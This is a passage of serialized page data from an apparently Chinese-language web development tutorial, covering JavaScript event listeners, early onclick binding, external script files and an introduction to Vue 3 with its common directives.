\"事情\"。比如：",{"type":18,"tag":210,"props":18545,"children":18546},{},[18547,18552,18557],{"type":18,"tag":158,"props":18548,"children":18549},{},[18550],{"type":24,"value":18551},"按钮被点击",{"type":18,"tag":158,"props":18553,"children":18554},{},[18555],{"type":24,"value":18556},"鼠标移动到元素上",{"type":18,"tag":158,"props":18558,"children":18559},{},[18560],{"type":24,"value":18561},"按下键盘按键",{"type":18,"tag":34,"props":18563,"children":18564},{},[18565,18570,18572,18577],{"type":18,"tag":105,"props":18566,"children":18567},{},[18568],{"type":24,"value":18569},"事件监听",{"type":24,"value":18571},"：JavaScript 可以在事件触发时，就立即调用一个函数做出响应，也称为 ",{"type":18,"tag":105,"props":18573,"children":18574},{},[18575],{"type":24,"value":18576},"事件绑定或注册事件",{"type":24,"value":111},{"type":18,"tag":34,"props":18579,"children":18580},{},[18581,18586,18587],{"type":18,"tag":105,"props":18582,"children":18583},{},[18584],{"type":24,"value":18585},"语法",{"type":24,"value":222},{"type":18,"tag":74,"props":18588,"children":18590},{"className":18589},[],[18591],{"type":24,"value":18592},"事件源.addEventListener (' 事件类型 ', 事件触发执行的函数);",{"type":18,"tag":34,"props":18594,"children":18595},{},[18596],{"type":18,"tag":105,"props":18597,"children":18598},{},[18599],{"type":24,"value":18600},"事件监听三要素",{"type":18,"tag":210,"props":18602,"children":18603},{},[18604,18614,18624],{"type":18,"tag":158,"props":18605,"children":18606},{},[18607,18612],{"type":18,"tag":105,"props":18608,"children":18609},{},[18610],{"type":24,"value":18611},"事件源",{"type":24,"value":18613},"：哪个 dom 元素触发了事件，要获取 dom 元素",{"type":18,"tag":158,"props":18615,"children":18616},{},[18617,18622],{"type":18,"tag":105,"props":18618,"children":18619},{},[18620],{"type":24,"value":18621},"事件类型",{"type":24,"value":18623},"：用什么方式触发，比如：鼠标单击 click",{"type":18,"tag":158,"props":18625,"children":18626},{},[18627,18632],{"type":18,"tag":105,"props":18628,"children":18629},{},[18630],{"type":24,"value":18631},"事件触发执行的函数",{"type":24,"value":18633},"：要做什么事",{"type":18,"tag":34,"props":18635,"children":18636},{},[18637],{"type":18,"tag":105,"props":18638,"children":18639},{},[18640],{"type":24,"value":18641},"示例代码",{"type":18,"tag":287,"props":18643,"children":18645},{"className":9608,"code":18644,"language":9610,"meta":8,"style":8},"\u003Cinput id=\"btn\" type=\"button\" value=\"点我一下试试2\">\n\u003Cscript>\ndocument.querySelector('#btn').addEventListener('click', ()=>{\n    alert('试试就试试');\n})\n\u003C\u002Fscript>\n",[18646],{"type":18,"tag":74,"props":18647,"children":18648},{"__ignoreMap":8},[18649,18702,18717,18771,18792,18800],{"type":18,"tag":297,"props":18650,"children":18651},{"class":299,"line":300},[18652,18656,18660,18664,18668,18673,18677,18681,18685,18689,18693,18698],{"type":18,"tag":297,"props":18653,"children":18654},{"style":327},[18655],{"type":24,"value":319},{"type":18,"tag":297,"props":18657,"children":18658},{"style":9680},[18659],{"type":24,"value":12370},{"type":18,"tag":297,"props":18661,"children":18662},{"style":304},[18663],{"type":24,"value":14131},{"type":18,"tag":297,"props":18665,"children":18666},{"style":327},[18667],{"type":24,"value":9692},{"type":18,"tag":297,"props":18669,"children":18670},{"style":310},[18671],{"type":24,"value":18672},"\"btn\"",{"type":18,"tag":297,"props":18674,"children":18675},{"style":304},[18676],{"type":24,"value":12375},{"type":18,"tag":297,"props":18678,"children":18679},{"style":327},[18680],{"type":24,"value":9692},{"type":18,"tag":297,"props":18682,"children":18683},{"style":310},[18684],{"type":24,"value":13825},{"type":18,"tag":297,"props":18686,"children":18687},{"style":304},[18688],{"type":24,"value":12473},{"type":18,"tag":297,"props":18690,"children":18691},{"style":327},[18692],{"type":24,"value":9692},{"type":18,"tag":297,"props":18694,"children":18695},{"style":310},[18696],{"type":24,"value":18697},"\"点我一下试试2\"",{"type":18,"tag":297,"props":18699,"children":18700},{"style":327},[18701],{"type":24,"value":335},{"type":18,"tag":297,"props":18703,"children":18704},{"class":299,"line":657},[18705,18709,18713],{"type":18,"tag":297,"props":18706,"children":18707},{"style":327},[18708],{"type":24,"value":319},{"type":18,"tag":297,"props":18710,"children":18711},{"style":9680},[18712],{"type":24,"value":16468},{"type":18,"tag":297,"props":18714,"children":18715},{"style":327},[18716],{"type":24,"value":335},{"type":18,"tag":297,"props":18718,"children":18719},{"class":299,"line":662},[18720,18725,18730,18734,18739,18744,18749,18753,18758,18763,18767],{"type":18,"tag":297,"props":18721,"children":18722},{"style":327},[18723],{"type":24,"value":18724},"document.",{"type":18,"tag":297,"props":18726,"children":18727},{"style":304},[18728],{"type":24,"value":18729},"querySelector",{"type":18,"tag":297,"props":18731,"children":18732},{"style":327},[18733],{"type":24,"value":16593},{"type":18,"tag":297,"props":18735,"children":18736},{"style":310},[18737],{"type":24,"value":18738},"'#btn'",{"type":18,"tag":297,"props":18740,"children":18741},{"style":327},[18742],{"type":24,"value":18743},").",{"type":18,"tag":297,"props":18745,"children":18746},{"style":304},[18747],{"type":24,"value":18748},"addEventListener",{"type":18,"tag":297,"props":18750,"children":18751},{"style":327},[18752],{"type":24,"value":16593},{"type":18,"tag":297,"props":18754,"children":18755},{"style":310},[18756],{"type":24,"value":18757},"'click'",{"type":18,"tag":297,"props":18759,"children":18760},{"style":327},[18761],{"type":24,"value":18762},", ()",{"type":18,"tag":297,"props":18764,"children":18765},{"style":316},[18766],{"type":24,"value":17634},{"type":18,"tag":297,"props":18768,"children":18769},{"style":327},[18770],{"type":24,"value":9273},{"type":18,"tag":297,"props":18772,"children":18773},{"class":299,"line":799},[18774,18779,18783,18788],{"type":18,"tag":297,"props":18775,"children":18776},{"style":304},[18777],{"type":24,"value":18778},"    alert",{"type":18,"tag":297,"props":18780,"children":18781},{"style":327},[18782],{"type":24,"value":16593},{"type":18,"tag":297,"props":18784,"children":18785},{"style":310},[18786],{"type":24,"value":18787},"'试试就试试'",{"type":18,"tag":297,"props":18789,"children":18790},{"style":327},[18791],{"type":24,"value":17153},{"type":18,"tag":297,"props":18793,"children":18794},{"class":299,"line":808},[18795],{"type":18,"tag":297,"props":18796,"children":18797},{"style":327},[18798],{"type":24,"value":18799},"})\n",{"type":18,"tag":297,"props":18801,"children":18802},{"class":299,"line":817},[18803,18807,18811],{"type":18,"tag":297,"props":18804,"children":18805},{"style":327},[18806],{"type":24,"value":11688},{"type":18,"tag":297,"props":18808,"children":18809},{"style":9680},[18810],{"type":24,"value":16468},{"type":18,"tag":297,"props":18812,"children":18813},{"style":327},[18814],{"type":24,"value":335},{"type":18,"tag":34,"props":18816,"children":18817},{},[18818],{"type":18,"tag":105,"props":18819,"children":18820},{},[18821],{"type":24,"value":18822},"早期事件绑定写法（了解）",{"type":18,"tag":34,"props":18824,"children":18825},{},[18826,18830,18831],{"type":18,"tag":105,"props":18827,"children":18828},{},[18829],{"type":24,"value":18585},{"type":24,"value":222},{"type":18,"tag":74,"props":18832,"children":18834},{"className":18833},[],[18835],{"type":24,"value":18836},"事源.on 事件 = function () { ...}",{"type":18,"tag":34,"props":18838,"children":18839},{},[18840],{"type":18,"tag":105,"props":18841,"children":18842},{},[18843],{"type":24,"value":18641},{"type":18,"tag":287,"props":18845,"children":18847},{"className":9608,"code":18846,"language":9610,"meta":8,"style":8},"\u003Cinput id=\"btn\" type=\"button\" value=\"点我一下试试2\">\n\u003Cscript>\n    \u002F\u002F 获取按钮元素并绑定点击事件\n    document.querySelector('#btn').onclick = function () {\n        alert('试试就试试');\n    }\n\u003C\u002Fscript>\n",[18848],{"type":18,"tag":74,"props":18849,"children":18850},{"__ignoreMap":8},[18851,18902,18917,18925,18967,18986,18993],{"type":18,"tag":297,"props":18852,"children":18853},{"class":299,"line":300},[18854,18858,18862,18866,18870,18874,18878,18882,18886,18890,18894,18898],{"type":18,"tag":297,"props":18855,"children":18856},{"style":327},[18857],{"type":24,"value":319},{"type":18,"tag":297,"props":18859,"children":18860},{"style":9680},[18861],{"type":24,"value":12370},{"type":18,"tag":297,"props":18863,"children":18864},{"style":304},[18865],{"type":24,"value":14131},{"type":18,"tag":297,"props":18867,"children":18868},{"style":327},[18869],{"type":24,"value":9692},{"type":18,"tag":297,"props":18871,"children":18872},{"style":310},[18873],{"type":24,"value":18672},{"type":18,"tag":297,"props":18875,"children":18876},{"style":304},[18877],{"type":24,"value":12375},{"type":18,"tag":297,"props":18879,"children":18880},{"style":327},[18881],{"type":24,"value":9692},{"type":18,"tag":297,"props":18883,"children":18884},{"style":310},[18885],{"type":24,"value":13825},{"type":18,"tag":297,"props":18887,"children":18888},{"style":304},[18889],{"type":24,"value":12473},{"type":18,"tag":297,"props":18891,"children":18892},{"style":327},[18893],{"type":24,"value":9692},{"type":18,"tag":297,"props":18895,"children":18896},{"style":310},[18897],{"type":24,"value":18697},{"type":18,"tag":297,"props":18899,"children":18900},{"style":327},[18901],{"type":24,"value":335},{"type":18,"tag":297,"props":18903,"children":18904},{"class":299,"line":657},[18905,18909,18913],{"type":18,"tag":297,"props":18906,"children":18907},{"style":327},[18908],{"type":24,"value":319},{"type":18,"tag":297,"props":18910,"children":18911},{"style":9680},[18912],{"type":24,"value":16468},{"type":18,"tag":297,"props":18914,"children":18915},{"style":327},[18916],{"type":24,"value":335},{"type":18,"tag":297,"props":18918,"children":18919},{"class":299,"line":662},[18920],{"type":18,"tag":297,"props":18921,"children":18922},{"style":5380},[18923],{"type":24,"value":18924},"    \u002F\u002F 获取按钮元素并绑定点击事件\n",{"type":18,"tag":297,"props":18926,"children":18927},{"class":299,"line":799},[18928,18933,18937,18941,18945,18949,18954,18958,18962],{"type":18,"tag":297,"props":18929,"children":18930},{"style":327},[18931],{"type":24,"value":18932},"    document.",{"type":18,"tag":297,"props":18934,"children":18935},{"style":304},[18936],{"type":24,"value":18729},{"type":18,"tag":297,"props":18938,"children":18939},{"style":327},[18940],{"type":24,"value":16593},{"type":18,"tag":297,"props":18942,"children":18943},{"style":310},[18944],{"type":24,"value":18738},{"type":18,"tag":297,"props":18946,"children":18947},{"style":327},[18948],{"type":24,"value":18743},{"type":18,"tag":297,"props":18950,"children":18951},{"style":304},[18952],{"type":24,"value":18953},"onclick",{"type":18,"tag":297,"props":18955,"children":18956},{"style":316},[18957],{"type":24,"value":16355},{"type":18,"tag":297,"props":18959,"children":18960},{"style":316},[18961],{"type":24,"value":17535},{"type":18,"tag":297,"props":18963,"children":18964},{"style":327},[18965],{"type":24,"value":18966}," () {\n",{"type":18,"tag":297,"props":18968,"children":18969},{"class":299,"line":808},[18970,18974,18978,18982],{"type":18,"tag":297,"props":18971,"children":18972},{"style":304},[18973],{"type":24,"value":17860},{"type":18,"tag":297,"props":18975,"children":18976},{"style":327},[18977],{"type":24,"value":16593},{"type":18,"tag":297,"props":18979,"children":18980},{"style":310},[18981],{"type":24,"value":18787},{"type":18,"tag":297,"props":18983,"children":18984},{"style":327},[18985],{"type":24,"value":17153},{"type":18,"tag":297,"props":18987,"children":18988},{"class":299,"line":817},[18989],{"type":18,"tag":297,"props":18990,"children":18991},{"style":327},[18992],{"type":24,"value":17895},{"type":18,"tag":297,"props":18994,"children":18995},{"class":299,"line":826},[18996,19000,19004],{"type":18,"tag":297,"props":18997,"children":18998},{"style":327},[18999],{"type":24,"value":11688},{"type":18,"tag":297,"props":19001,"children":19002},{"style":9680},[19003],{"type":24,"value":16468},{"type":18,"tag":297,"props":19005,"children":19006},{"style":327},[19007],{"type":24,"value":335},{"type":18,"tag":34,"props":19009,"children":19010},{},[19011],{"type":18,"tag":105,"props":19012,"children":19013},{},[19014],{"type":24,"value":7059},{"type":18,"tag":210,"props":19016,"children":19017},{},[19018,19023,19035],{"type":18,"tag":158,"props":19019,"children":19020},{},[19021],{"type":24,"value":19022},"语法简单，兼容性好，早期开发常用",{"type":18,"tag":158,"props":19024,"children":19025},{},[19026,19028,19033],{"type":24,"value":19027},"同一个元素只能绑定",{"type":18,"tag":105,"props":19029,"children":19030},{},[19031],{"type":24,"value":19032},"一个",{"type":24,"value":19034},"同类型事件，后续绑定会覆盖之前的事件",{"type":18,"tag":158,"props":19036,"children":19037},{},[19038,19040,19045],{"type":24,"value":19039},"示例：若多次绑定",{"type":18,"tag":74,"props":19041,"children":19043},{"className":19042},[],[19044],{"type":24,"value":18953},{"type":24,"value":19046},"，只有最后一次的函数会生效",{"type":18,"tag":34,"props":19048,"children":19049},{},[19050],{"type":18,"tag":105,"props":19051,"children":19052},{},[19053],{"type":24,"value":19054},"常见事件",{"type":18,"tag":34,"props":19056,"children":19057},{},[19058],{"type":18,"tag":54,"props":19059,"children":19062},{"alt":19060,"src":19061},"1776048695607","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1776048695607.png",[],{"type":18,"tag":34,"props":19064,"children":19065},{},[19066],{"type":18,"tag":105,"props":19067,"children":19068},{},[19069],{"type":24,"value":19070},"JS程序优化",{"type":18,"tag":34,"props":19072,"children":19073},{},[19074],{"type":18,"tag":54,"props":19075,"children":19078},{"alt":19076,"src":19077},"1776049824605","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1776049824605.png",[],{"type":18,"tag":34,"props":19080,"children":19081},{},[19082,19084,19090],{"type":24,"value":19083},"将JavaScript代码从html文件中抽离，然后使用 ",{"type":18,"tag":74,"props":19085,"children":19087},{"className":19086},[],[19088],{"type":24,"value":19089},"\u003Cscript src=\"...\">\u003C\u002Fscript>",{"type":24,"value":19091}," 从外部引入即可；",{"type":18,"tag":34,"props":19093,"children":19094},{},[19095,19099,19101],{"type":18,"tag":105,"props":19096,"children":19097},{},[19098],{"type":24,"value":1715},{"type":24,"value":19100},"：若采用模块化的方式（即js文件中出现导包的情况），必须在html引入时添加属性 ",{"type":18,"tag":74,"props":19102,"children":19104},{"className":19103},[],[19105],{"type":24,"value":19106},"type=\"module\"",{"type":18,"tag":19,"props":19108,"children":19110},{"id":19109},"_5-vue",[19111],{"type":24,"value":19112},"5 Vue",{"type":18,"tag":27,"props":19114,"children":19116},{"id":19115},"_51-什么是vue",[19117],{"type":24,"value":19118},"5.1 什么是Vue",{"type":18,"tag":34,"props":19120,"children":19121},{},[19122,19124,19129,19131,19136,19138,19143,19145],{"type":24,"value":19123},"Vue是一款用于",{"type":18,"tag":105,"props":19125,"children":19126},{},[19127],{"type":24,"value":19128},"构建用户界面",{"type":24,"value":19130},"的",{"type":18,"tag":105,"props":19132,"children":19133},{},[19134],{"type":24,"value":19135},"渐进式",{"type":24,"value":19137},"的JavaScript",{"type":18,"tag":105,"props":19139,"children":19140},{},[19141],{"type":24,"value":19142},"框架",{"type":24,"value":19144},"。官网：",{"type":18,"tag":43,"props":19146,"children":19149},{"href":19147,"rel":19148},"https:\u002F\u002Fcn.vuejs.org\u002F",[47],[19150],{"type":24,"value":19151},"Vue官网",{"type":18,"tag":210,"props":19153,"children":19154},{},[19155,19167,19179],{"type":18,"tag":158,"props":19156,"children":19157},{},[19158,19159,19162],{"type":24,"value":19128},{"type":18,"tag":6882,"props":19160,"children":19161},{},[],{"type":18,"tag":54,"props":19163,"children":19166},{"alt":19164,"src":19165},"1776050219964","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1776050219964.png",[],{"type":18,"tag":158,"props":19168,"children":19169},{},[19170,19171,19174],{"type":24,"value":19135},{"type":18,"tag":6882,"props":19172,"children":19173},{},[],{"type":18,"tag":54,"props":19175,"children":19178},{"alt":19176,"src":19177},"1776050436264","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1776050436264.png",[],{"type":18,"tag":158,"props":19180,"children":19181},{},[19182,19183],{"type":24,"value":19142},{"type":18,"tag":210,"props":19184,"children":19185},{},[19186,19191,19196],{"type":18,"tag":158,"props":19187,"children":19188},{},[19189],{"type":24,"value":19190},"框架：就是一套完整的项目解决方案，用于快速构建项目。",{"type":18,"tag":158,"props":19192,"children":19193},{},[19194],{"type":24,"value":19195},"优点：大大提升前端项目的开发效率。",{"type":18,"tag":158,"props":19197,"children":19198},{},[19199],{"type":24,"value":19200},"缺点：需要理解记忆框架的使用规则。（参照官网）",{"type":18,"tag":27,"props":19202,"children":19204},{"id":19203},"_52-vue快速入门",[19205],{"type":24,"value":19206},"5.2 Vue快速入门",{"type":18,"tag":34,"props":19208,"children":19209},{},[19210],{"type":18,"tag":54,"props":19211,"children":19214},{"alt":19212,"src":19213},"1776050770524","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1776050770524.png",[],{"type":18,"tag":34,"props":19216,"children":19217},{},[19218],{"type":18,"tag":105,"props":19219,"children":19220},{},[19221,19223,19229],{"type":24,"value":19222},"插值表达式使用 ",{"type":18,"tag":74,"props":19224,"children":19226},{"className":19225},[],[19227],{"type":24,"value":19228},"{{...}}",{"type":24,"value":19230}," 进行展示",{"type":18,"tag":34,"props":19232,"children":19233},{},[19234],{"type":18,"tag":105,"props":19235,"children":19236},{},[19237],{"type":24,"value":9987},{"type":18,"tag":287,"props":19239,"children":19241},{"className":9608,"code":19240,"language":9610,"meta":8,"style":8},"\u003Cbody>\n  \u003Cdiv id=\"app\">\n    \u003Ch1>{{ message }}\u003C\u002Fh1>\n    \u003Ch3>{{ count }}\u003C\u002Fh3>\n  \u003C\u002Fdiv>\n\n  \u003Cscript type=\"module\">\n    \u002F\u002F 此处的连接可以去官网查找 \n    import { createApp, ref } from 'https:\u002F\u002Funpkg.com\u002Fvue@3\u002Fdist\u002Fvue.esm-browser.js'\n    createApp({\n      data() {\n        return {\n          message: 'Hello Vue!',\n          count: 100\n        }\n      }\n    }).mount('#app')\n  \u003C\u002Fscript>\n\u003C\u002Fbody>\n",[19242],{"type":18,"tag":74,"props":19243,"children":19244},{"__ignoreMap":8},[19245,19260,19288,19312,19336,19351,19358,19386,19394,19417,19430,19443,19455,19472,19485,19493,19501,19527,19542],{"type":18,"tag":297,"props":19246,"children":19247},{"class":299,"line":300},[19248,19252,19256],{"type":18,"tag":297,"props":19249,"children":19250},{"style":327},[19251],{"type":24,"value":319},{"type":18,"tag":297,"props":19253,"children":19254},{"style":9680},[19255],{"type":24,"value":12207},{"type":18,"tag":297,"props":19257,"children":19258},{"style":327},[19259],{"type":24,"value":335},{"type":18,"tag":297,"props":19261,"children":19262},{"class":299,"line":657},[19263,19267,19271,19275,19279,19284],{"type":18,"tag":297,"props":19264,"children":19265},{"style":327},[19266],{"type":24,"value":14297},{"type":18,"tag":297,"props":19268,"children":19269},{"style":9680},[19270],{"type":24,"value":11298},{"type":18,"tag":297,"props":19272,"children":19273},{"style":304},[19274],{"type":24,"value":14131},{"type":18,"tag":297,"props":19276,"children":19277},{"style":327},[19278],{"type":24,"value":9692},{"type":18,"tag":297,"props":19280,"children":19281},{"style":310},[19282],{"type":24,"value":19283},"\"app\"",{"type":18,"tag":297,"props":19285,"children":19286},{"style":327},[19287],{"type":24,"value":335},{"type":18,"tag":297,"props":19289,"children":19290},{"class":299,"line":662},[19291,19295,19299,19304,19308],{"type":18,"tag":297,"props":19292,"children":19293},{"style":327},[19294],{"type":24,"value":12451},{"type":18,"tag":297,"props":19296,"children":19297},{"style":9680},[19298],{"type":24,"value":691},{"type":18,"tag":297,"props":19300,"children":19301},{"style":327},[19302],{"type":24,"value":19303},">{{ message }}\u003C\u002F",{"type":18,"tag":297,"props":19305,"children":19306},{"style":9680},[19307],{"type":24,"value":691},{"type":18,"tag":297,"props":19309,"children":19310},{"style":327},[19311],{"type":24,"value":335},{"type":18,"tag":297,"props":19313,"children":19314},{"class":299,"line":799},[19315,19319,19323,19328,19332],{"type":18,"tag":297,"props":19316,"children":19317},{"style":327},[19318],{"type":24,"value":12451},{"type":18,"tag":297,"props":19320,"children":19321},{"style":9680},[19322],{"type":24,"value":27},{"type":18,"tag":297,"props":19324,"children":19325},{"style":327},[19326],{"type":24,"value":19327},">{{ count }}\u003C\u002F",{"type":18,"tag":297,"props":19329,"children":19330},{"style":9680},[19331],{"type":24,"value":27},{"type":18,"tag":297,"props":19333,"children":19334},{"style":327},[19335],{"type":24,"value":335},{"type":18,"tag":297,"props":19337,"children":19338},{"class":299,"line":808},[19339,19343,19347],{"type":18,"tag":297,"props":19340,"children":19341},{"style":327},[19342],{"type":24,"value":14512},{"type":18,"tag":297,"props":19344,"children":19345},{"style":9680},[19346],{"type":24,"value":11298},{"type":18,"tag":297,"props":19348,"children":19349},{"style":327},[19350],{"type":24,"value":335},{"type":18,"tag":297,"props":19352,"children":19353},{"class":299,"line":817},[19354],{"type":18,"tag":297,"props":19355,"children":19356},{"emptyLinePlaceholder":793},[19357],{"type":24,"value":796},{"type":18,"tag":297,"props":19359,"children":19360},{"class":299,"line":826},[19361,19365,19369,19373,19377,19382],{"type":18,"tag":297,"props":19362,"children":19363},{"style":327},[19364],{"type":24,"value":14297},{"type":18,"tag":297,"props":19366,"children":19367},{"style":9680},[19368],{"type":24,"value":16468},{"type":18,"tag":297,"props":19370,"children":19371},{"style":304},[19372],{"type":24,"value":12375},{"type":18,"tag":297,"props":19374,"children":19375},{"style":327},[19376],{"type":24,"value":9692},{"type":18,"tag":297,"props":19378,"children":19379},{"style":310},[19380],{"type":24,"value":19381},"\"module\"",{"type":18,"tag":297,"props":19383,"children":19384},{"style":327},[19385],{"type":24,"value":335},{"type":18,"tag":297,"props":19387,"children":19388},{"class":299,"line":4524},[19389],{"type":18,"tag":297,"props":19390,"children":19391},{"style":5380},[19392],{"type":24,"value":19393},"    \u002F\u002F 此处的连接可以去官网查找 \n",{"type":18,"tag":297,"props":19395,"children":19396},{"class":299,"line":4533},[19397,19402,19407,19412],{"type":18,"tag":297,"props":19398,"children":19399},{"style":316},[19400],{"type":24,"value":19401},"    import",{"type":18,"tag":297,"props":19403,"children":19404},{"style":327},[19405],{"type":24,"value":19406}," { createApp, ref } ",{"type":18,"tag":297,"props":19408,"children":19409},{"style":316},[19410],{"type":24,"value":19411},"from",{"type":18,"tag":297,"props":19413,"children":19414},{"style":310},[19415],{"type":24,"value":19416}," 'https:\u002F\u002Funpkg.com\u002Fvue@3\u002Fdist\u002Fvue.esm-browser.js'\n",{"type":18,"tag":297,"props":19418,"children":19419},{"class":299,"line":4546},[19420,19425],{"type":18,"tag":297,"props":19421,"children":19422},{"style":304},[19423],{"type":24,"value":19424},"    createApp",{"type":18,"tag":297,"props":19426,"children":19427},{"style":327},[19428],{"type":24,"value":19429},"({\n",{"type":18,"tag":297,"props":19431,"children":19432},{"class":299,"line":4555},[19433,19438],{"type":18,"tag":297,"props":19434,"children":19435},{"style":304},[19436],{"type":24,"value":19437},"      data",{"type":18,"tag":297,"props":19439,"children":19440},{"style":327},[19441],{"type":24,"value":19442},"() {\n",{"type":18,"tag":297,"props":19444,"children":19445},{"class":299,"line":4568},[19446,19451],{"type":18,"tag":297,"props":19447,"children":19448},{"style":316},[19449],{"type":24,"value":19450},"        return",{"type":18,"tag":297,"props":19452,"children":19453},{"style":327},[19454],{"type":24,"value":9806},{"type":18,"tag":297,"props":19456,"children":19457},{"class":299,"line":4577},[19458,19463,19468],{"type":18,"tag":297,"props":19459,"children":19460},{"style":327},[19461],{"type":24,"value":19462},"          message: ",{"type":18,"tag":297,"props":19464,"children":19465},{"style":310},[19466],{"type":24,"value":19467},"'Hello Vue!'",{"type":18,"tag":297,"props":19469,"children":19470},{"style":327},[19471],{"type":24,"value":9296},{"type":18,"tag":297,"props":19473,"children":19474},{"class":299,"line":4590},[19475,19480],{"type":18,"tag":297,"props":19476,"children":19477},{"style":327},[19478],{"type":24,"value":19479},"          count: ",{"type":18,"tag":297,"props":19481,"children":19482},{"style":906},[19483],{"type":24,"value":19484},"100\n",{"type":18,"tag":297,"props":19486,"children":19487},{"class":299,"line":4599},[19488],{"type":18,"tag":297,"props":19489,"children":19490},{"style":327},[19491],{"type":24,"value":19492},"        }\n",{"type":18,"tag":297,"props":19494,"children":19495},{"class":299,"line":4607},[19496],{"type":18,"tag":297,"props":19497,"children":19498},{"style":327},[19499],{"type":24,"value":19500},"      }\n",{"type":18,"tag":297,"props":19502,"children":19503},{"class":299,"line":4616},[19504,19509,19514,19518,19523],{"type":18,"tag":297,"props":19505,"children":19506},{"style":327},[19507],{"type":24,"value":19508},"    }).",{"type":18,"tag":297,"props":19510,"children":19511},{"style":304},[19512],{"type":24,"value":19513},"mount",{"type":18,"tag":297,"props":19515,"children":19516},{"style":327},[19517],{"type":24,"value":16593},{"type":18,"tag":297,"props":19519,"children":19520},{"style":310},[19521],{"type":24,"value":19522},"'#app'",{"type":18,"tag":297,"props":19524,"children":19525},{"style":327},[19526],{"type":24,"value":4760},{"type":18,"tag":297,"props":19528,"children":19529},{"class":299,"line":4624},[19530,19534,19538],{"type":18,"tag":297,"props":19531,"children":19532},{"style":327},[19533],{"type":24,"value":14512},{"type":18,"tag":297,"props":19535,"children":19536},{"style":9680},[19537],{"type":24,"value":16468},{"type":18,"tag":297,"props":19539,"children":19540},{"style":327},[19541],{"type":24,"value":335},{"type":18,"tag":297,"props":19543,"children":19544},{"class":299,"line":4633},[19545,19549,19553],{"type":18,"tag":297,"props":19546,"children":19547},{"style":327},[19548],{"type":24,"value":11688},{"type":18,"tag":297,"props":19550,"children":19551},{"style":9680},[19552],{"type":24,"value":12207},{"type":18,"tag":297,"props":19554,"children":19555},{"style":327},[19556],{"type":24,"value":335},{"type":18,"tag":27,"props":19558,"children":19560},{"id":19559},"_53-常用指令",[19561],{"type":24,"value":19562},"5.3 常用指令",{"type":18,"tag":34,"props":19564,"children":19565},{},[19566],{"type":18,"tag":105,"props":19567,"children":19568},{},[19569],{"type":24,"value":19570},"常用指令",{"type":18,"tag":210,"props":19572,"children":19573},{},[19574,19592],{"type":18,"tag":158,"props":19575,"children":19576},{},[19577,19582,19584,19590],{"type":18,"tag":105,"props":19578,"children":19579},{},[19580],{"type":24,"value":19581},"指令定义",{"type":24,"value":19583},"：HTML 标签上带有 ",{"type":18,"tag":74,"props":19585,"children":19587},{"className":19586},[],[19588],{"type":24,"value":19589},"v-",{"type":24,"value":19591}," 前缀的特殊属性，不同的指令具有不同的含义，可以实现不同的功能。",{"type":18,"tag":158,"props":19593,"children":19594},{},[19595,19597],{"type":24,"value":19596},"示例格式：",{"type":18,"tag":74,"props":19598,"children":19600},{"className":19599},[],[19601],{"type":24,"value":19602},"\u003Cp v-xxx=\"...\"> ... \u003C\u002Fp>",{"type":18,"tag":431,"props":19604,"children":19605},{},[19606,19621],{"type":18,"tag":435,"props":19607,"children":19608},{},[19609],{"type":18,"tag":439,"props":19610,"children":19611},{},[19612,19617],{"type":18,"tag":443,"props":19613,"children":19614},{"align":5772},[19615],{"type":24,"value":19616},"指令",{"type":18,"tag":443,"props":19618,"children":19619},{"align":5772},[19620],{"type":24,"value":10999},{"type":18,"tag":459,"props":19622,"children":19623},{},[19624,19641,19665,19703,19727,19744],{"type":18,"tag":439,"props":19625,"children":19626},{},[19627,19636],{"type":18,"tag":466,"props":19628,"children":19629},{"align":5772},[19630],{"type":18,"tag":74,"props":19631,"children":19633},{"className":19632},[],[19634],{"type":24,"value":19635},"v-for",{"type":18,"tag":466,"props":19637,"children":19638},{"align":5772},[19639],{"type":24,"value":19640},"列表渲染，遍历容器的元素或者对象的属性",{"type":18,"tag":439,"props":19642,"children":19643},{},[19644,19653],{"type":18,"tag":466,"props":19645,"children":19646},{"align":5772},[19647],{"type":18,"tag":74,"props":19648,"children":19650},{"className":19649},[],[19651],{"type":24,"value":19652},"v-bind",{"type":18,"tag":466,"props":19654,"children":19655},{"align":5772},[19656,19658,19663],{"type":24,"value":19657},"为 HTML 标签绑定属性值，如设置 ",{"type":18,"tag":74,"props":19659,"children":19661},{"className":19660},[],[19662],{"type":24,"value":9567},{"type":24,"value":19664},"、css 样式等",{"type":18,"tag":439,"props":19666,"children":19667},{},[19668,19691],{"type":18,"tag":466,"props":19669,"children":19670},{"align":5772},[19671,19677,19678,19684,19685],{"type":18,"tag":74,"props":19672,"children":19674},{"className":19673},[],[19675],{"type":24,"value":19676},"v-if",{"type":24,"value":5352},{"type":18,"tag":74,"props":19679,"children":19681},{"className":19680},[],[19682],{"type":24,"value":19683},"v-else-if",{"type":24,"value":5352},{"type":18,"tag":74,"props":19686,"children":19688},{"className":19687},[],[19689],{"type":24,"value":19690},"v-else",{"type":18,"tag":466,"props":19692,"children":19693},{"align":5772},[19694,19696,19701],{"type":24,"value":19695},"条件性的渲染某元素，判定为",{"type":18,"tag":74,"props":19697,"children":19699},{"className":19698},[],[19700],{"type":24,"value":9455},{"type":24,"value":19702},"时渲染，否则不渲染",{"type":18,"tag":439,"props":19704,"children":19705},{},[19706,19715],{"type":18,"tag":466,"props":19707,"children":19708},{"align":5772},[19709],{"type":18,"tag":74,"props":19710,"children":19712},{"className":19711},[],[19713],{"type":24,"value":19714},"v-show",{"type":18,"tag":466,"props":19716,"children":19717},{"align":5772},[19718,19720,19725],{"type":24,"value":19719},"根据条件展示某元素，区别在于切换的是",{"type":18,"tag":74,"props":19721,"children":19723},{"className":19722},[],[19724],{"type":24,"value":15907},{"type":24,"value":19726},"属性的值",{"type":18,"tag":439,"props":19728,"children":19729},{},[19730,19739],{"type":18,"tag":466,"props":19731,"children":19732},{"align":5772},[19733],{"type":18,"tag":74,"props":19734,"children":19736},{"className":19735},[],[19737],{"type":24,"value":19738},"v-model",{"type":18,"tag":466,"props":19740,"children":19741},{"align":5772},[19742],{"type":24,"value":19743},"在表单元素上创建双向数据绑定",{"type":18,"tag":439,"props":19745,"children":19746},{},[19747,19756],{"type":18,"tag":466,"props":19748,"children":19749},{"align":5772},[19750],{"type":18,"tag":74,"props":19751,"children":19753},{"className":19752},[],[19754],{"type":24,"value":19755},"v-on",{"type":18,"tag":466,"props":19757,"children":19758},{"align":5772},[19759],{"type":24,"value":19760},"为 HTML 